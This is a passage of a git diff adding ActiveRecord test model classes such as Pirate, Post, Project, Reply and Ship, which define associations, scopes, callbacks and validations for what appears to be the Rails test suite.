+++ b/activerecord/test/models/pirate.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+class Pirate < ActiveRecord::Base
+  belongs_to :parrot, validate: true
+  belongs_to :non_validated_parrot, class_name: "Parrot"
+  has_and_belongs_to_many :parrots, -> { order("parrots.id ASC") }, validate: true
+  has_and_belongs_to_many :non_validated_parrots, class_name: "Parrot"
+  has_and_belongs_to_many :parrots_with_method_callbacks, class_name: "Parrot",
+    before_add: :log_before_add,
+    after_add: :log_after_add,
+    before_remove: :log_before_remove,
+    after_remove: :log_after_remove
+  has_and_belongs_to_many :parrots_with_proc_callbacks, class_name: "Parrot",
+    before_add: proc { |p, pa| p.ship_log << "before_adding_proc_parrot_#{pa.id || '<new>'}" },
+    after_add: proc { |p, pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}" },
+    before_remove: proc { |p, pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}" },
+    after_remove: proc { |p, pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}" }
+  has_and_belongs_to_many :autosaved_parrots, class_name: "Parrot", autosave: true
+
+  has_many :treasures, as: :looter
+  has_many :treasure_estimates, through: :treasures, source: :price_estimates
+
+  has_one :ship
+  has_one :update_only_ship, class_name: "Ship"
+  has_one :non_validated_ship, class_name: "Ship"
+  has_many :birds, -> { order("birds.id ASC") }
+  has_many :birds_with_method_callbacks, class_name: "Bird",
+    before_add: :log_before_add,
+    after_add: :log_after_add,
+    before_remove: :log_before_remove,
+    after_remove: :log_after_remove
+  has_many :birds_with_proc_callbacks, class_name: "Bird",
+    before_add: proc { |p, b| p.ship_log << "before_adding_proc_bird_#{b.id || '<new>'}" },
+    after_add: proc { |p, b| p.ship_log << "after_adding_proc_bird_#{b.id || '<new>'}" },
+    before_remove: proc { |p, b| p.ship_log << "before_removing_proc_bird_#{b.id}" },
+    after_remove: proc { |p, b| p.ship_log << "after_removing_proc_bird_#{b.id}" }
+  has_many :birds_with_reject_all_blank, class_name: "Bird"
+
+  has_one :foo_bulb, -> { where name: "foo" }, foreign_key: :car_id, class_name: "Bulb"
+
+  accepts_nested_attributes_for :parrots, :birds, allow_destroy: true, reject_if: proc(&:empty?)
+  accepts_nested_attributes_for :ship, allow_destroy: true, reject_if: proc(&:empty?)
+  accepts_nested_attributes_for :update_only_ship, update_only: true
+  accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
+    :birds_with_method_callbacks, :birds_with_proc_callbacks, allow_destroy: true
+  accepts_nested_attributes_for :birds_with_reject_all_blank, reject_if: :all_blank
+
+  validates_presence_of :catchphrase
+
+  def ship_log
+    @ship_log ||= []
+  end
+
+  def reject_empty_ships_on_create(attributes)
+    attributes.delete("_reject_me_if_new").present? && !persisted?
+  end
+
+  attr_accessor :cancel_save_from_callback, :parrots_limit
+  before_save :cancel_save_callback_method, if: :cancel_save_from_callback
+  def cancel_save_callback_method
+    throw(:abort)
+  end
+
+  private
+    def log_before_add(record)
+      log(record, "before_adding_method")
+    end
+
+    def log_after_add(record)
+      log(record, "after_adding_method")
+    end
+
+    def log_before_remove(record)
+      log(record, "before_removing_method")
+    end
+
+    def log_after_remove(record)
+      log(record, "after_removing_method")
+    end
+
+    def log(record, callback)
+      ship_log << "#{callback}_#{record.class.name.downcase}_#{record.id || '<new>'}"
+    end
+end
+
+class DestructivePirate < Pirate
+  has_one :dependent_ship, class_name: "Ship", foreign_key: :pirate_id, dependent: :destroy
+end
+
+class FamousPirate < ActiveRecord::Base
+  self.table_name = "pirates"
+  has_many :famous_ships
+  validates_presence_of :catchphrase, on: :conference
+end
diff --git a/activerecord/test/models/possession.rb b/activerecord/test/models/possession.rb
new file mode 100644
index 0000000000..9b843e1525
--- /dev/null
+++ b/activerecord/test/models/possession.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Possession < ActiveRecord::Base
+  self.table_name = "having"
+end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
new file mode 100644
index 0000000000..4b3576fce8
--- /dev/null
+++ b/activerecord/test/models/post.rb
@@ -0,0 +1,317 @@
+# frozen_string_literal: true
+
+class Post < ActiveRecord::Base
+  class CategoryPost < ActiveRecord::Base
+    self.table_name = "categories_posts"
+    belongs_to :category
+    belongs_to :post
+  end
+
+  module NamedExtension
+    def author
+      "lifo"
+    end
+  end
+
+  module NamedExtension2
+    def greeting
+      "hullo"
+    end
+  end
+
+  scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
+  scope :titled_with_an_apostrophe, -> { where("title LIKE '%''%'") }
+  scope :ranked_by_comments,      -> { order("comments_count DESC") }
+
+  scope :limit_by, lambda { |l| limit(l) }
+  scope :locked, -> { lock }
+
+  belongs_to :author
+  belongs_to :readonly_author, -> { readonly }, class_name: "Author", foreign_key: :author_id
+
+  belongs_to :author_with_posts, -> { includes(:posts) }, class_name: "Author", foreign_key: :author_id
+  belongs_to :author_with_address, -> { includes(:author_address) }, class_name: "Author", foreign_key: :author_id
+
+  def first_comment
+    super.body
+  end
+  has_one :first_comment, -> { order("id ASC") }, class_name: "Comment"
+  has_one :last_comment, -> { order("id desc") }, class_name: "Comment"
+
+  scope :with_special_comments, -> { joins(:comments).where(comments: { type: "SpecialComment" }) }
+  scope :with_very_special_comments, -> { joins(:comments).where(comments: { type: "VerySpecialComment" }) }
+  scope :with_post, ->(post_id) { joins(:comments).where(comments: { post_id: post_id }) }
+
+  scope :with_comments, -> { preload(:comments) }
+  scope :with_tags, -> { preload(:taggings) }
+
+  scope :tagged_with, ->(id) { joins(:taggings).where(taggings: { tag_id: id }) }
+  scope :tagged_with_comment, ->(comment) { joins(:taggings).where(taggings: { comment: comment }) }
+
+  scope :typographically_interesting, -> { containing_the_letter_a.or(titled_with_an_apostrophe) }
+
+  has_many :comments do
+    def find_most_recent
+      order("id DESC").first
+    end
+
+    def newest
+      created.last
+    end
+
+    def the_association
+      proxy_association
+    end
+
+    def with_content(content)
+      self.detect { |comment| comment.body == content }
+    end
+  end
+
+  has_many :comments_with_extend, extend: NamedExtension, class_name: "Comment", foreign_key: "post_id" do
+    def greeting
+      "hello"
+    end
+  end
+
+  has_many :comments_with_extend_2, extend: [NamedExtension, NamedExtension2], class_name: "Comment", foreign_key: "post_id"
+
+  has_many :author_favorites, through: :author
+  has_many :author_categorizations, through: :author, source: :categorizations
+  has_many :author_addresses, through: :author
+  has_many :author_address_extra_with_address,
+    through: :author_with_address,
+    source: :author_address_extra
+
+  has_one  :very_special_comment
+  has_one  :very_special_comment_with_post, -> { includes(:post) }, class_name: "VerySpecialComment"
+  has_one :very_special_comment_with_post_with_joins, -> { joins(:post).order("posts.id") }, class_name: "VerySpecialComment"
+  has_many :special_comments
+  has_many :nonexistent_comments, -> { where "comments.id < 0" }, class_name: "Comment"
+
+  has_many :special_comments_ratings, through: :special_comments, source: :ratings
+  has_many :special_comments_ratings_taggings, through: :special_comments_ratings, source: :taggings
+
+  has_many :category_posts, class_name: "CategoryPost"
+  has_many :scategories, through: :category_posts, source: :category
+  has_and_belongs_to_many :categories
+  has_and_belongs_to_many :special_categories, join_table: "categories_posts", association_foreign_key: "category_id"
+
+  has_many :taggings, as: :taggable, counter_cache: :tags_count
+  has_many :tags, through: :taggings do
+    def add_joins_and_select
+      select("tags.*, authors.id as author_id")
+        .joins("left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id")
+        .to_a
+    end
+  end
+
+  has_many :taggings_with_delete_all, class_name: "Tagging", as: :taggable, dependent: :delete_all, counter_cache: :taggings_with_delete_all_count
+  has_many :taggings_with_destroy, class_name: "Tagging", as: :taggable, dependent: :destroy, counter_cache: :taggings_with_destroy_count
+
+  has_many :tags_with_destroy, through: :taggings, source: :tag, dependent: :destroy, counter_cache: :tags_with_destroy_count
+  has_many :tags_with_nullify, through: :taggings, source: :tag, dependent: :nullify, counter_cache: :tags_with_nullify_count
+
+  has_many :misc_tags, -> { where tags: { name: "Misc" } }, through: :taggings, source: :tag
+  has_many :funky_tags, through: :taggings, source: :tag
+  has_many :super_tags, through: :taggings
+  has_many :tags_with_primary_key, through: :taggings, source: :tag_with_primary_key
+  has_one :tagging, as: :taggable
+
+  has_many :first_taggings, -> { where taggings: { comment: "first" } }, as: :taggable, class_name: "Tagging"
+  has_many :first_blue_tags, -> { where tags: { name: "Blue" } }, through: :first_taggings, source: :tag
+
+  has_many :first_blue_tags_2, -> { where taggings: { comment: "first" } }, through: :taggings, source: :blue_tag
+
+  has_many :invalid_taggings, -> { where "taggings.id < 0" }, as: :taggable, class_name: "Tagging"
+  has_many :invalid_tags, through: :invalid_taggings, source: :tag
+
+  has_many :categorizations, foreign_key: :category_id
+  has_many :authors, through: :categorizations
+
+  has_many :categorizations_using_author_id, primary_key: :author_id, foreign_key: :post_id, class_name: "Categorization"
+  has_many :authors_using_author_id, through: :categorizations_using_author_id, source: :author
+
+  has_many :taggings_using_author_id, primary_key: :author_id, as: :taggable, class_name: "Tagging"
+  has_many :tags_using_author_id, through: :taggings_using_author_id, source: :tag
+
+  has_many :images, as: :imageable, foreign_key: :imageable_identifier, foreign_type: :imageable_class
+  has_one :main_image, as: :imageable, foreign_key: :imageable_identifier, foreign_type: :imageable_class, class_name: "Image"
+
+  has_many :standard_categorizations, class_name: "Categorization", foreign_key: :post_id
+  has_many :author_using_custom_pk,  through: :standard_categorizations
+  has_many :authors_using_custom_pk, through: :standard_categorizations
+  has_many :named_categories, through: :standard_categorizations
+
+  has_many :readers
+  has_many :secure_readers
+  has_many :readers_with_person, -> { includes(:person) }, class_name: "Reader"
+  has_many :people, through: :readers
+  has_many :single_people, through: :readers
+  has_many :people_with_callbacks, source: :person, through: :readers,
+              before_add: lambda { |owner, reader| log(:added,   :before, reader.first_name) },
+              after_add: lambda { |owner, reader| log(:added,   :after,  reader.first_name) },
+              before_remove: lambda { |owner, reader| log(:removed, :before, reader.first_name) },
+              after_remove: lambda { |owner, reader| log(:removed, :after,  reader.first_name) }
+  has_many :skimmers, -> { where skimmer: true }, class_name: "Reader"
+  has_many :impatient_people, through: :skimmers, source: :person
+
+  has_many :lazy_readers
+  has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, class_name: "LazyReader"
+
+  has_many :lazy_people, through: :lazy_readers, source: :person
+  has_many :lazy_readers_unscope_skimmers, -> { skimmers_or_not }, class_name: "LazyReader"
+  has_many :lazy_people_unscope_skimmers, through: :lazy_readers_unscope_skimmers, source: :person
+
+  def self.top(limit)
+    ranked_by_comments.limit_by(limit)
+  end
+
+  def self.written_by(author)
+    where(id: author.posts.pluck(:id))
+  end
+
+  def self.reset_log
+    @log = []
+  end
+
+  def self.log(message = nil, side = nil, new_record = nil)
+    return @log if message.nil?
+    @log << [message, side, new_record]
+  end
+end
+
+class SpecialPost < Post; end
+
+class StiPost < Post
+  self.abstract_class = true
+  has_one :special_comment, class_name: "SpecialComment"
+end
+
+class SubStiPost < StiPost
+  self.table_name = Post.table_name
+end
+
+class FirstPost < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  default_scope { where(id: 1) }
+
+  has_many :comments, foreign_key: :post_id
+  has_one  :comment,  foreign_key: :post_id
+end
+
+class TaggedPost < Post
+  has_many :taggings, -> { rewhere(taggable_type: "TaggedPost") }, as: :taggable
+  has_many :tags, through: :taggings
+end
+
+class PostWithDefaultInclude < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  default_scope { includes(:comments) }
+  has_many :comments, foreign_key: :post_id
+end
+
+class PostWithSpecialCategorization < Post
+  has_many :categorizations, foreign_key: :post_id
+  default_scope { where(type: "PostWithSpecialCategorization").joins(:categorizations).where(categorizations: { special: true }) }
+end
+
+class PostWithDefaultScope < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  default_scope { order(:title) }
+end
+
+class PostWithPreloadDefaultScope < ActiveRecord::Base
+  self.table_name = "posts"
+
+  has_many :readers, foreign_key: "post_id"
+
+  default_scope { preload(:readers) }
+end
+
+class PostWithIncludesDefaultScope < ActiveRecord::Base
+  self.table_name = "posts"
+
+  has_many :readers, foreign_key: "post_id"
+
+  default_scope { includes(:readers) }
+end
+
+class SpecialPostWithDefaultScope < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  default_scope { where(id: [1, 5, 6]) }
+end
+
+class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  has_many :comments, class_name: "CommentThatAutomaticallyAltersPostBody", foreign_key: :post_id
+
+  after_save do |post|
+    post.comments.load
+  end
+end
+
+class PostWithAfterCreateCallback < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  has_many :comments, foreign_key: :post_id
+
+  after_create do |post|
+    update_attribute(:author_id, comments.first.id)
+  end
+end
+
+class PostWithCommentWithDefaultScopeReferencesAssociation < ActiveRecord::Base
+  self.inheritance_column = :disabled
+  self.table_name = "posts"
+  has_many :comment_with_default_scope_references_associations, foreign_key: :post_id
+  has_one :first_comment, class_name: "CommentWithDefaultScopeReferencesAssociation", foreign_key: :post_id
+end
+
+class SerializedPost < ActiveRecord::Base
+  serialize :title
+end
+
+class ConditionalStiPost < Post
+  default_scope { where(title: "Untitled") }
+end
+
+class SubConditionalStiPost < ConditionalStiPost
+end
+
+class FakeKlass
+  extend ActiveRecord::Delegation::DelegateCache
+
+  inherited self
+
+  class << self
+    def connection
+      Post.connection
+    end
+
+    def table_name
+      "posts"
+    end
+
+    def attribute_alias?(name)
+      false
+    end
+
+    def sanitize_sql(sql)
+      sql
+    end
+
+    def sanitize_sql_for_order(sql)
+      sql
+    end
+
+    def arel_attribute(name, table)
+      table[name]
+    end
+  end
+end
diff --git a/activerecord/test/models/price_estimate.rb b/activerecord/test/models/price_estimate.rb
new file mode 100644
index 0000000000..f1f88d8d8d
--- /dev/null
+++ b/activerecord/test/models/price_estimate.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class PriceEstimate < ActiveRecord::Base
+  belongs_to :estimate_of, polymorphic: true
+  belongs_to :thing, polymorphic: true
+end
diff --git a/activerecord/test/models/professor.rb b/activerecord/test/models/professor.rb
new file mode 100644
index 0000000000..abc23f40ff
--- /dev/null
+++ b/activerecord/test/models/professor.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_dependency "models/arunit2_model"
+
+class Professor < ARUnit2Model
+  has_and_belongs_to_many :courses
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
new file mode 100644
index 0000000000..846cef625b
--- /dev/null
+++ b/activerecord/test/models/project.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Project < ActiveRecord::Base
+  belongs_to :mentor
+  has_and_belongs_to_many :developers, -> { distinct.order "developers.name desc, developers.id desc" }
+  has_and_belongs_to_many :readonly_developers, -> { readonly }, class_name: "Developer"
+  has_and_belongs_to_many :non_unique_developers, -> { order "developers.name desc, developers.id desc" }, class_name: "Developer"
+  has_and_belongs_to_many :limited_developers, -> { limit 1 }, class_name: "Developer"
+  has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, class_name: "Developer"
+  has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(name: "David").distinct }, class_name: "Developer"
+  has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, class_name: "Developer"
+  has_and_belongs_to_many :developers_with_callbacks, class_name: "Developer", before_add: Proc.new { |o, r| o.developers_log << "before_adding#{r.id || '<new>'}" },
+                            after_add: Proc.new { |o, r| o.developers_log << "after_adding#{r.id || '<new>'}" },
+                            before_remove: Proc.new { |o, r| o.developers_log << "before_removing#{r.id}" },
+                            after_remove: Proc.new { |o, r| o.developers_log << "after_removing#{r.id}" }
+  has_and_belongs_to_many :well_paid_salary_groups, -> { group("developers.salary").having("SUM(salary) > 10000").select("SUM(salary) as salary") }, class_name: "Developer"
+  belongs_to :firm
+  has_one :lead_developer, through: :firm, inverse_of: :contracted_projects
+
+  begin
+    previous_value, ActiveRecord::Base.belongs_to_required_by_default =
+      ActiveRecord::Base.belongs_to_required_by_default, true
+    has_and_belongs_to_many :developers_required_by_default, class_name: "Developer"
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = previous_value
+  end
+
+  attr_accessor :developers_log
+  after_initialize :set_developers_log
+
+  def set_developers_log
+    @developers_log = []
+  end
+
+  def self.all_as_method
+    all
+  end
+  scope :all_as_scope, -> { all }
+end
+
+class SpecialProject < Project
+end
diff --git a/activerecord/test/models/publisher.rb b/activerecord/test/models/publisher.rb
new file mode 100644
index 0000000000..53677197c4
--- /dev/null
+++ b/activerecord/test/models/publisher.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+module Publisher
+end
diff --git a/activerecord/test/models/publisher/article.rb b/activerecord/test/models/publisher/article.rb
new file mode 100644
index 0000000000..355c22dcc5
--- /dev/null
+++ b/activerecord/test/models/publisher/article.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Publisher::Article < ActiveRecord::Base
+  has_and_belongs_to_many :magazines
+  has_and_belongs_to_many :tags
+end
diff --git a/activerecord/test/models/publisher/magazine.rb b/activerecord/test/models/publisher/magazine.rb
new file mode 100644
index 0000000000..425ede8df2
--- /dev/null
+++ b/activerecord/test/models/publisher/magazine.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Publisher::Magazine < ActiveRecord::Base
+  has_and_belongs_to_many :articles
+end
diff --git a/activerecord/test/models/randomly_named_c1.rb b/activerecord/test/models/randomly_named_c1.rb
new file mode 100644
index 0000000000..f90a7b9336
--- /dev/null
+++ b/activerecord/test/models/randomly_named_c1.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base
+  self.table_name = :randomly_named_table1
+end
diff --git a/activerecord/test/models/rating.rb b/activerecord/test/models/rating.rb
new file mode 100644
index 0000000000..cf06bc6931
--- /dev/null
+++ b/activerecord/test/models/rating.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Rating < ActiveRecord::Base
+  belongs_to :comment
+  has_many :taggings, as: :taggable
+end
diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
new file mode 100644
index 0000000000..d25627e430
--- /dev/null
+++ b/activerecord/test/models/reader.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Reader < ActiveRecord::Base
+  belongs_to :post
+  belongs_to :person, inverse_of: :readers
+  belongs_to :single_person, class_name: "Person", foreign_key: :person_id, inverse_of: :reader
+  belongs_to :first_post, -> { where(id: [2, 3]) }
+end
+
+class SecureReader < ActiveRecord::Base
+  self.table_name = "readers"
+
+  belongs_to :secure_post, class_name: "Post", foreign_key: "post_id"
+  belongs_to :secure_person, inverse_of: :secure_readers, class_name: "Person", foreign_key: "person_id"
+end
+
+class LazyReader < ActiveRecord::Base
+  self.table_name = "readers"
+  default_scope -> { where(skimmer: true) }
+
+  scope :skimmers_or_not, -> { unscope(where: :skimmer) }
+
+  belongs_to :post
+  belongs_to :person
+end
diff --git a/activerecord/test/models/recipe.rb b/activerecord/test/models/recipe.rb
new file mode 100644
index 0000000000..e53f5c8fb1
--- /dev/null
+++ b/activerecord/test/models/recipe.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Recipe < ActiveRecord::Base
+  belongs_to :chef
+end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
new file mode 100644
index 0000000000..63143e296a
--- /dev/null
+++ b/activerecord/test/models/record.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Record < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/reference.rb b/activerecord/test/models/reference.rb
new file mode 100644
index 0000000000..2a7a1e3b77
--- /dev/null
+++ b/activerecord/test/models/reference.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class Reference < ActiveRecord::Base
+  belongs_to :person
+  belongs_to :job
+
+  has_many :agents_posts_authors, through: :person
+
+  class << self; attr_accessor :make_comments; end
+  self.make_comments = false
+
+  before_destroy :make_comments
+
+  def make_comments
+    if self.class.make_comments
+      person.update comments: "Reference destroyed"
+    end
+  end
+end
+
+class BadReference < ActiveRecord::Base
+  self.table_name = "references"
+  default_scope { where(favourite: false) }
+end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
new file mode 100644
index 0000000000..bc829ec67f
--- /dev/null
+++ b/activerecord/test/models/reply.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "models/topic"
+
+class Reply < Topic
+  belongs_to :topic, foreign_key: "parent_id", counter_cache: true
+  belongs_to :topic_with_primary_key, class_name: "Topic", primary_key: "title", foreign_key: "parent_title", counter_cache: "replies_count"
+  has_many :replies, class_name: "SillyReply", dependent: :destroy, foreign_key: "parent_id"
+end
+
+class UniqueReply < Reply
+  belongs_to :topic, foreign_key: "parent_id", counter_cache: true
+  validates_uniqueness_of :content, scope: "parent_id"
+end
+
+class SillyUniqueReply < UniqueReply
+end
+
+class WrongReply < Reply
+  validate :errors_on_empty_content
+  validate :title_is_wrong_create, on: :create
+
+  validate :check_empty_title
+  validate :check_content_mismatch, on: :create
+  validate :check_wrong_update, on: :update
+  validate :check_author_name_is_secret, on: :special_case
+
+  def check_empty_title
+    errors[:title] << "Empty" unless attribute_present?("title")
+  end
+
+  def errors_on_empty_content
+    errors[:content] << "Empty" unless attribute_present?("content")
+  end
+
+  def check_content_mismatch
+    if attribute_present?("title") && attribute_present?("content") && content == "Mismatch"
+      errors[:title] << "is Content Mismatch"
+    end
+  end
+
+  def title_is_wrong_create
+    errors[:title] << "is Wrong Create" if attribute_present?("title") && title == "Wrong Create"
+  end
+
+  def check_wrong_update
+    errors[:title] << "is Wrong Update" if attribute_present?("title") && title == "Wrong Update"
+  end
+
+  def check_author_name_is_secret
+    errors[:author_name] << "Invalid" unless author_name == "secret"
+  end
+end
+
+class SillyReply < Reply
+  belongs_to :reply, foreign_key: "parent_id", counter_cache: :replies_count
+end
+
+module Web
+  class Reply < Web::Topic
+    belongs_to :topic, foreign_key: "parent_id", counter_cache: true, class_name: "Web::Topic"
+  end
+end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
new file mode 100644
index 0000000000..7973219a79
--- /dev/null
+++ b/activerecord/test/models/ship.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class Ship < ActiveRecord::Base
+  self.record_timestamps = false
+
+  belongs_to :pirate
+  belongs_to :update_only_pirate, class_name: "Pirate"
+  belongs_to :developer, dependent: :destroy
+  has_many :parts, class_name: "ShipPart"
+  has_many :treasures
+
+  accepts_nested_attributes_for :parts, allow_destroy: true
+  accepts_nested_attributes_for :pirate, allow_destroy: true, reject_if: proc(&:empty?)
+  accepts_nested_attributes_for :update_only_pirate, update_only: true
+
+  validates_presence_of :name
+
+  attr_accessor :cancel_save_from_callback
+  before_save :cancel_save_callback_method, if: :cancel_save_from_callback
+  def cancel_save_callback_method
+    throw(:abort)
+  end
+end
+
+class ShipWithoutNestedAttributes < ActiveRecord::Base
+  self.table_name = "ships"
+  has_many :prisoners, inverse_of: :ship, foreign_key: :ship_id
+  has_many :parts, class_name: "ShipPart", foreign_key: :ship_id
+
+  validates :name, presence: true
+end
+
+class Prisoner < ActiveRecord::Base
+  belongs_to :ship, autosave: true, class_name: "ShipWithoutNestedAttributes", inverse_of: :prisoners
+end
+
+class FamousShip < ActiveRecord::Base
+  self.table_name = "ships"
+  belongs_to :famous_pirate
+  validates_presence_of :name, on: :conference
+end
diff --git a/activerecord/test/models/ship_part.rb b/activerecord/test/models/ship_part.rb
new file mode 100644
index 0000000000..f6d7a8ae5e
--- /dev/null
+++ b/activerecord/test/models/ship_part.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class ShipPart < ActiveRecord::Base
+  belongs_to :ship
+  has_many :trinkets, class_name: "Treasure", as: :looter
+  accepts_nested_attributes_for :trinkets, allow_destroy: true
+  accepts_nested_attributes_for :ship
+
+  validates_presence_of :name
+end
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
new file mode 100644
index 0000000000..92afe70b92
--- /dev/null
+++ b/activerecord/test/models/shop.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Shop
+  class Collection < ActiveRecord::Base
+    has_many :products, dependent: :nullify
+  end
+
+  class Product < ActiveRecord::Base
+    has_many :variants, dependent: :delete_all
+    belongs_to :type
+
+    class Type < ActiveRecord::Base
+      has_many :products
+    end
+  end
+
+  class Variant < ActiveRecord::Base
+  end
+end
diff --git a/activerecord/test/models/shop_account.rb b/activerecord/test/models/shop_account.rb
new file mode 100644
index 0000000000..97fb058331
--- /dev/null
+++ b/activerecord/test/models/shop_account.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class ShopAccount < ActiveRecord::Base
+  belongs_to :customer
+  belongs_to :customer_carrier
+
+  has_one :carrier, through: :customer_carrier
+end
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
new file mode 100644
index 0000000000..e456907a22
--- /dev/null
+++ b/activerecord/test/models/speedometer.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Speedometer < ActiveRecord::Base
+  self.primary_key = :speedometer_id
+  belongs_to :dashboard
+
+  has_many :minivans
+end
diff --git a/activerecord/test/models/sponsor.rb b/activerecord/test/models/sponsor.rb
new file mode 100644
index 0000000000..f190860fd1
--- /dev/null
+++ b/activerecord/test/models/sponsor.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Sponsor < ActiveRecord::Base
+  belongs_to :sponsor_club, class_name: "Club", foreign_key: "club_id"
+  belongs_to :sponsorable, polymorphic: true
+  belongs_to :thing, polymorphic: true, foreign_type: :sponsorable_type, foreign_key: :sponsorable_id
+  belongs_to :sponsorable_with_conditions, -> { where name: "Ernie" }, polymorphic: true,
+             foreign_type: "sponsorable_type", foreign_key: "sponsorable_id"
+end
diff --git a/activerecord/test/models/string_key_object.rb b/activerecord/test/models/string_key_object.rb
new file mode 100644
index 0000000000..473c145f4c
--- /dev/null
+++ b/activerecord/test/models/string_key_object.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class StringKeyObject < ActiveRecord::Base
+  self.primary_key = :id
+end
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
new file mode 100644
index 0000000000..e750798f74
--- /dev/null
+++ b/activerecord/test/models/student.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Student < ActiveRecord::Base
+  has_and_belongs_to_many :lessons
+  belongs_to :college
+end
diff --git a/activerecord/test/models/subscriber.rb b/activerecord/test/models/subscriber.rb
new file mode 100644
index 0000000000..b21969ca2d
--- /dev/null
+++ b/activerecord/test/models/subscriber.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Subscriber < ActiveRecord::Base
+  self.primary_key = "nick"
+  has_many :subscriptions
+  has_many :books, through: :subscriptions
+end
+
+class SpecialSubscriber < Subscriber
+end
diff --git a/activerecord/test/models/subscription.rb b/activerecord/test/models/subscription.rb
new file mode 100644
index 0000000000..d1d5d21621
--- /dev/null
+++ b/activerecord/test/models/subscription.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Subscription < ActiveRecord::Base
+  belongs_to :subscriber, counter_cache: :books_count
+  belongs_to :book
+end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
new file mode 100644
index 0000000000..4495ac4a09
--- /dev/null
+++ b/activerecord/test/models/tag.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Tag < ActiveRecord::Base
+  has_many :taggings
+  has_many :taggables, through: :taggings
+  has_one  :tagging
+
+  has_many :tagged_posts, through: :taggings, source: "taggable", source_type: "Post"
+end
+
+class OrderedTag < Tag
+  self.table_name = "tags"
+
+  has_many :taggings, -> { order("taggings.id DESC") }, foreign_key: "tag_id"
+end
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
new file mode 100644
index 0000000000..fc0af026c5
--- /dev/null
+++ b/activerecord/test/models/tagging.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# test that attr_readonly isn't called on the :taggable polymorphic association
+module Taggable
+end
+
+class Tagging < ActiveRecord::Base
+  belongs_to :tag, -> { includes(:tagging) }
+  belongs_to :super_tag,   class_name: "Tag", foreign_key: "super_tag_id"
+  belongs_to :invalid_tag, class_name: "Tag", foreign_key: "tag_id"
+  belongs_to :blue_tag, -> { where tags: { name: "Blue" } }, class_name: "Tag", foreign_key: :tag_id
+  belongs_to :tag_with_primary_key, class_name: "Tag", foreign_key: :tag_id, primary_key: :custom_primary_key
+  belongs_to :taggable, polymorphic: true, counter_cache: :tags_count
+  has_many :things, through: :taggable
+end
diff --git a/activerecord/test/models/task.rb b/activerecord/test/models/task.rb
new file mode 100644
index 0000000000..dabe3ce06b
--- /dev/null
+++ b/activerecord/test/models/task.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Task < ActiveRecord::Base
+  def updated_at
+    ending
+  end
+end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
new file mode 100644
index 0000000000..2154b50ef7
--- /dev/null
+++ b/activerecord/test/models/topic.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+class Topic < ActiveRecord::Base
+  scope :base, -> { all }
+  scope :written_before, lambda { |time|
+    if time
+      where "written_on < ?", time
+    end
+  }
